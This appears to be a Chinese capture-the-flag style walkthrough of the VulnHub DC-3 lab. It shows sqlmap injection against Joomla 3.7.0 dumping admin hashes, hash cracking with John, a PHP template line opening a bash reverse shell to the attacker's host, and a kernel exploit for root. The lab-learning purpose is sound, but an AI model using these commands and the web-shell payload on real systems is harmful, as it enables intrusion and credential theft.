基本配置
靶机是从VulnHub上下载的DC3,配置如下:
攻击机为Kali2020.3
信息收集
靶机与攻击机同处一个虚拟局域网中,首先扫描网段192.168.187.0/24。Kali网络设置如下:
扫描网段:
得到DC3的IP地址192.168.187.136
进一步扫描:
没有更多有用的信息,扫描先告一段落。
打开Firefox访问http://192.168.187.136:
由Wappalyzer插件得到一些基本的信息:CMS使用Joomla,服务器操作系统为Ubuntu。先记录下来备用。
联想到入侵DC2时WordPress有专门的扫描工具,那么自然先找一下有没有joomla对应的扫描工具。搜索后得知有joomscan这个专用工具
接下来使用joomscan对网站进行扫描:
joomscan -u http://192.168.187.136
比较有用的信息包括:
-
版本号Joomla 3.7.0
我的尝试
密码爆破
既然需要进行登录,那首先先试着猜测一下密码。
先创建dc3users.txt文件,其中写入admin和administrator两个可能的用户名。使用cewl生成密码字典并存在dc3pass.txt里:
cewl http://192.168.187.136/administrator/ -w dc3pass.txt
cat dc3pass.txt
使用hydra进行爆破,在爆破之前先看一下网页源码了解一下登录是用的GET还是POST。查看后可以找到,使用POST方法,用户名和密码的变量名分别是username和passwd。
然后进行爆破:
hydra -L dc3users.txt -P dc3pass.txt 192.168.187.136 http-post-form "/192.168.187.136/administrator:username=^USER^&passwd=^PASS^&submit=login:bad password"
看来这条路走不通,必须另寻他法。
Metasploit
既然简单的密码爆破行不通的话,那就再试一试用metasploit来利用漏洞吧
打开控制台搜索joomla对应的漏洞:
看起来还不少,但是试了一遍没有一个有用的,于是这条路也走不下去了。
sql注入
既然使用metasploit没法直接利用漏洞,那么接下来还可以用searchsploit试试看:
searchsploit joomla 3.7.0 #加个版本号以期获得更准确的漏洞利用信息
发现有一个sql注入和一个XSS可以利用,XSS似乎对我们登录管理员账号无关,那接下来就试一试sql注入。
打开描述文档42033.txt查看利用方法,其中指示了使用sqlmao的方法:
sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] # 描述文档中的指令原型
sqlmap -u "http://192.168.187.136/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] # 准备执行的指令
粗略地看一下sqlmap的选项可以看到,这条指令如果执行成功的话可以给出服务器上有哪些数据库,执行看看:
可以看到有个数据库叫joomladb,接下来重点关注这个数据库,看看它有哪些表:
sqlmap -u "http://192.168.187.136/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering]
发现了一个__user表,那接下来看看这个表有什么表项,注意带特殊符号的表要用单引号框起来:
sqlmap -u "http://192.168.187.136/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' --columns -p list[fullordering]
看来这个表应该会有我们关心的账号信息,那就把表中的数据用sqlmap的-dump选项显示出来:
sqlmap -u "http://192.168.187.136/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' -dump -p list[fullordering]
在这个表中存储了用户名admin,以及其登陆密码对应的hash值
$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
接下来用John the ripper碰碰运气,先把这个hash值写进一个文件(dc3pass-hash.txt)里备用
然后使用John the ripper试图找到该hash值的原象:
sudo john --show dc3pass-hash.txt
得到一个破解出来的密码snoopy,用这个密码登录admin账户:
登陆成功!
进入靶机
拿到了admin账户的登陆密码,也只是获得了网站内容的管理权而已,下一步要做的是利用admin的权限试图让我进入服务器。
admin可以操作网站的所有内容以及设置,如果可以在访问的页面植入一段脚本返回一个shell,就会有办法进入靶机。
查了一下资料,可以直接在joomla管理员界面编写页面脚本,只需要点击Extensions下的Templates,选择protostar,然后编辑index.php,只需在index.php开头的位置加上
<?php
system("bash -c 'bash -i >& /dev/tcp/192.168.187.130/4444 0>&1'");
?>
保存后先在Kali的4444端口启动监听
nc -lvp 4444
接着重新加载一遍http://192.168.187.136即可在本地得到反弹回来的shell,此时正式进入了靶机
提权
按照惯例先收集一点基本的信息
echo $PATH
pwd
whoami
似乎是个正常的环境。
那么查看一下有没有可以免密码以root权限执行的指令
sudo -l
很遗憾并没有
再看看有没有本身具有管理员权限的指令
find / -user root -perm -4000 -print 2>/dev/null
看了一下没有可以用来提权的指令,只得作罢。
再切换到其他地方翻了一下也没有什么值得注意的地方,现在似乎有点无路可走了。我于是再一次查了一些关于提权的资料。
查完资料后发现现阶段可能可以使用的就是利用内核漏洞提权了。要启用内核提权,那就要先查看一下内核的版本:
uname -a # 查看内核的详细信息
uname -r # 查看内核发行版
uname -v # 查看内核版本
再查看一下系统版本:
lsb_release -a # 这里用不了
cat /etc/issue
拿到这些信息再使用searchsploit搜索一下:
searchsploit 4.4.0-21 # 搜linux 4.4.0-21会搜出来很多没用的,因为有一级文件目录就叫linux
三条一条一条地试都没有结果。只有换个方向,再搜一下ubuntu 16.04:
searchsploit Ubuntu 16.04
这回搜出来的就多了,把以Linux Kernel开头的都试一遍,这次在试到39773.txt的时候终于成功,得到了root权限:
接下来只需前往/root目录就可以找到flag了:
总结
一点感受
这次入侵DC3靶机的经历对我来讲是一次全新的体验,没有flag的提示让我一时间有一点点不知所措,但好在现阶段初步形成了自己的一套方法论。虽然搜集信息,查找资料的过程有些枯燥,但是达到目的的时候仍然让我感到十分满足。希望自己还能保持这样的学习状态坚持下去。
这次入侵DC3的过程中,我又学会了一些新的知识:
-
joomla扫描工具joomscan的使用方法
-
sqlmap的一些基本用法
-
john the ripper的使用方法
-
利用PHP脚本回弹bash
-
利用内核漏洞提权的过程
还有一些知识比较欠缺:
-
仍然是Linux 命令行,由于不熟悉,我在回弹bash的过程中遇到了很多麻烦
-
对提权的方法不敏感,还需多了解
来源:freebuf.com 2020-10-30 20:18:51 by: FFFcaptain328
请登录后发表评论
注册